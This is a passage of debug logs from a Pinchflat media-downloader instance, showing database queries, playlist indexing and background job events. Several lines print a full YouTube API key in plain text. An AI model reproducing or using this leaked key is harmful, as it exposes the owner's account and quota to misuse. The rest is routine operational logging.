s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:37.079 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:46:37.240 [debug] QUERY OK source="media_items" db=0.7ms idle=161.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [33, "NzsuvbUl7gQ", "HZvj8T5_oUE", "drTjLvO8GGs", "8rJJUfkeZvI", "UnXPSjJCTaA", "dbL5Ht1M5Ms", "9-cfmjKIYkQ", "PLvZPtFrX8Q", "uOLqPKuO2Bo", "Y7c0Pm_UVFQ", "eNgD1kg3U14", "clT0mzdwAAw", "hx_rBNhBMUY", "twQKO6x41lk", "WyL9aPjepWU", "P3gSkMK7_As", "vfvQ-HRUm8Y", "3y0y_Papw2s", "BWbMxeNv_Qg", "VeNvWih_nZM", "4iAEbavS8yc", "_EgbBQuviLk", "pTspjZ4Gjwo", "1hQrvRxwITA", "KG4xHJfvHAw", "yza8omO0x6s", "x0tgdtpjnpc", "ZdH7NdO7efQ", "hi8X2YhiP8A", "yxrbW3ofuJo", "7Sz9VfcOEKo", "baF6VombepE", "Pa53dGNd9Fw", "p3P-Kod95V4", "7y4_DW4L8Hc", "OZUf6aTxUZE", "jgQGUwBGva4", "TeV0gYqyBnY", "ezKhazl-mdI", "pEmZcPGnYfc", "vPA3i--1sM4", "xT4HZZ2N2-c", "vC9N7PgIvEM", "A0mp9XB_MaU", "ZXK6IywE0bQ", "o1wXhGL8_GM", "j801RCel8Nc", "EIUwdOmluFE", "oka31nU8V1c", ...] 17:46:37.241 [debug] QUERY OK source="media_items" db=0.5ms idle=162.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [33] 17:46:37.242 [debug] QUERY OK source="tasks" db=0.1ms idle=163.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800274, 33, ~U[2026-02-10 23:46:37Z], ~U[2026-02-10 23:46:37Z]] 17:46:37.243 [info] {"args":{"id":33},"id":3800235,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":165029,"event":"job:stop","queue_time":515073,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:46:38.079 [info] {"args":{"id":12},"id":3800236,"meta":{},"system_time":1770767198079776037,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:46:38.079 [info] {"args":{"id":11},"id":3800237,"meta":{},"system_time":1770767198079807844,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:46:38.080 [debug] QUERY OK source="sources" db=0.1ms idle=836.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [11] 17:46:38.080 [debug] QUERY OK source="sources" db=0.2ms idle=837.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [12] 17:46:38.080 [debug] QUERY OK source="settings" db=0.1ms idle=830.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:38.080 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:46:38.080 [debug] QUERY OK source="settings" db=0.4ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:38.080 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:38.080 [debug] Fetching recent media IDs from YouTube API for playlist: UUSOpcUkE-is7u7c4AkLgqTw 17:46:38.080 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:46:38.081 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:38.081 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:46:38.081 [debug] QUERY OK source="settings" db=0.2ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:38.081 [debug] Fetching recent media IDs from YouTube API for playlist: UU3KEoMzNz8eYnwBC34RaKCQ 17:46:38.081 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:38.081 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:46:38.202 [debug] QUERY OK source="media_items" db=0.7ms idle=120.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [11, "b6cTcdQJ2zQ", "iWi1grPS3pA", "O2e1ccaS34s", "u7Uz1YZ5hQA", "g9PNmvdHTrA", "nGy-c40t2ms", "iRswzm-sFsE", "HiDu9ngFljA", "7HzmabyYgKE", "vlpKMWHJbFQ", "VvANcDa7fJ8", "4yk6HmYKXxs", "0bWl9pZdNNA", "55x-wf8o-7c", "6FlDINylswA", "QJx4LDk2O-8", "0CrkpkKxWfo", "hqmvWpgJCx0", "Ax792f2RbIY", "APT6FONMqFQ", "jTzjkaEKZo8", "1WLIY7oObvU", "01jJv0C_028", "YGTkjchlVJk", "fRRNSEb1DAQ", "lhRp_QECX9g", "eo9_K98nypE", "atYcpCoghnc", "WdxJtYWAhjc", "WczhEQj_g3A", "oN784HF4U5Y", "HLmZAlE-064", "HzxAeHQyiks", "yZ5KOG8BAVU", "HoSf21Arj8A", "Lc5_OKMgfQw", "yD4EoHnztaY", "s8sYp-AcwKk", "bDJNd8XWJIU", "vjrknR9r15o", "_p4RbXLW8aY", "bJ6GRkVCBQU", "iUF8VlcIAyI", "1nuCcmCl-9E", "wqfVfS0_J9M", "905tTzUrd-U", "PMSkzMSFfAo", "QQk7KKQ8jTo", "gVcOnLxnsu0", ...] 17:46:38.204 [debug] QUERY OK source="media_items" db=1.2ms idle=122.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [11] 17:46:38.205 [debug] QUERY OK source="tasks" db=0.0ms idle=123.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800275, 11, ~U[2026-02-10 23:46:38Z], ~U[2026-02-10 23:46:38Z]] 17:46:38.205 [info] {"args":{"id":11},"id":3800237,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":125236,"event":"job:stop","queue_time":387670,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:46:38.301 [debug] QUERY OK source="media_items" db=0.8ms idle=95.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [12, "qPHwRGTGIOU", "GPSNT5vjSO8", "DwdL0AuomMU", "rzw4qL_UYms", "SbfGsYGmtvo", "aDMmIaj6YYY", "EapmwCmB2ZU", "wNqOyIOkE0g", "2JE39EiF7QY", "v3CorAvJSj8", "TkTLGcowRjo", "8EjtJZpkuDE", "VevHScaB_Kk", "0rXpncpkLcw", "4w68dxCyjLg", "4lf3C1Jv0sE", "bfKoARppLGw", "ILWWKspXrwY", "FRms-dKHwe8", "yfw74KelJFk", "JXbldzWu-Nc", "3lXAPC-8IC4", "slVuVPAUNI4", "cwNSjMBnZYA", "N1CGq7zSjjM", "0lc3PF49yOQ", "rYivduQ5Xww", "5JfhSmrKK3A", "-4VeoAkKFg4", "Lztt0KYUpRU", "efwg7hwFbeU", "tdU3lMg5K2A", "O8PKhwdFXHk", "vEfPCID6jf4", "e2Kb6Z1oGrc", "7gTz_JmlYtQ", "H175G8NH2Cg", "3EoARmGYyVc", "ogYzdHzumeA", "nrioXZyigd8", "kq3Q7jlcDDQ", "8iprAik8kjk", "yRzc5_uGNO4", "7qTWoV6WUV4", "N1eo5bXtZeM", "QRS3uWoAHBk", "csKezW4PZ2w", "-sDDoW7YAow", "iEAShZ8TJCs", ...] 17:46:38.301 [debug] QUERY OK source="media_items" db=0.4ms idle=96.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [12] 17:46:38.302 [debug] QUERY OK source="tasks" db=0.0ms idle=90.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800276, 12, ~U[2026-02-10 23:46:38Z], ~U[2026-02-10 23:46:38Z]] 17:46:38.302 [info] {"args":{"id":12},"id":3800236,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":223025,"event":"job:stop","queue_time":514058,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:46:39.080 [info] {"args":{"id":27},"id":3800238,"meta":{},"system_time":1770767199080680689,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:46:39.080 [info] {"args":{"id":28},"id":3800239,"meta":{},"system_time":1770767199080732010,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:46:39.081 [debug] QUERY OK source="sources" db=0.1ms idle=778.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 17:46:39.081 [debug] QUERY OK source="sources" db=0.2ms idle=777.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [27] 17:46:39.081 [debug] QUERY OK source="settings" db=0.1ms idle=772.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:39.081 [debug] QUERY OK source="settings" db=0.1ms idle=5.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:39.081 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:46:39.081 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:46:39.081 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:39.081 [debug] Fetching recent media IDs from YouTube API for playlist: UUuVLG9pThvBABcYCm7pkNkA 17:46:39.081 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:39.081 [debug] Fetching recent media IDs from YouTube API for playlist: UUJ0-OtVpF0wOKEqT2Z1HEtA 17:46:39.081 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:39.081 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:46:39.081 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:46:39.081 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:46:39.167 [debug] QUERY OK source="media_items" db=1.0ms idle=84.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [28, "XFWTgmV5C84", "l-1TWD7BAYc", "Vf4rTmR_EC4", "qY4rM_-mNTc", "qVrg5eRJVTA", "4jYdMxhwlz4", "wGxXI3DcvN0", "MSFYhYOJMLE", "pc64L0fvGL4", "HUeC39CZO44", "6aheyYXRwqs", "KLYMjPNppRQ", "dcvQMu15N9A", "_1-lCmzdcec", "r1bMJekCiBw", "roIOgtrjFGU", "W4gLOWTbaY0", "Qq62goUHDD4", "NQiLly6Z1xs", "zGhNdyVFLbE", "oE_vom5pfgU", "ElM4NXN22Xk", "DEFBn0r53uQ", "3t9aWDVCqVI", "4anuB72EMWY", "rDFuee41ptI", "0CPHgR8vK0w", "wBC_bug5DIQ", "TDnzDnKOrLo", "thoukYxcB_M", "WG8idKaX9KI", "evcXDcrjAvA", "hIxEkAZe6N0", "SPQrycmrGD8", "Mijk1_861qk", "WH-C47pZM9s", "jucDFrO89Ko", "XusyNT_k-1c", "l_1PLNAvmlM", "cQ3UWS1HekM", "srj2kfeuToE", "8CkgCYPe68Q", "XIj4PlAuLXQ", "lkOd_XPoz9M", "5_HY3RAIJys", "HCXBKttIXzc", "ueYYN--wEAI", "L6_Op38XjFo", "LDYL8zIgtZM", ...] 17:46:39.168 [debug] QUERY OK source="media_items" db=0.4ms idle=86.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [28] 17:46:39.169 [debug] QUERY OK source="tasks" db=0.1ms idle=87.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800277, 28, 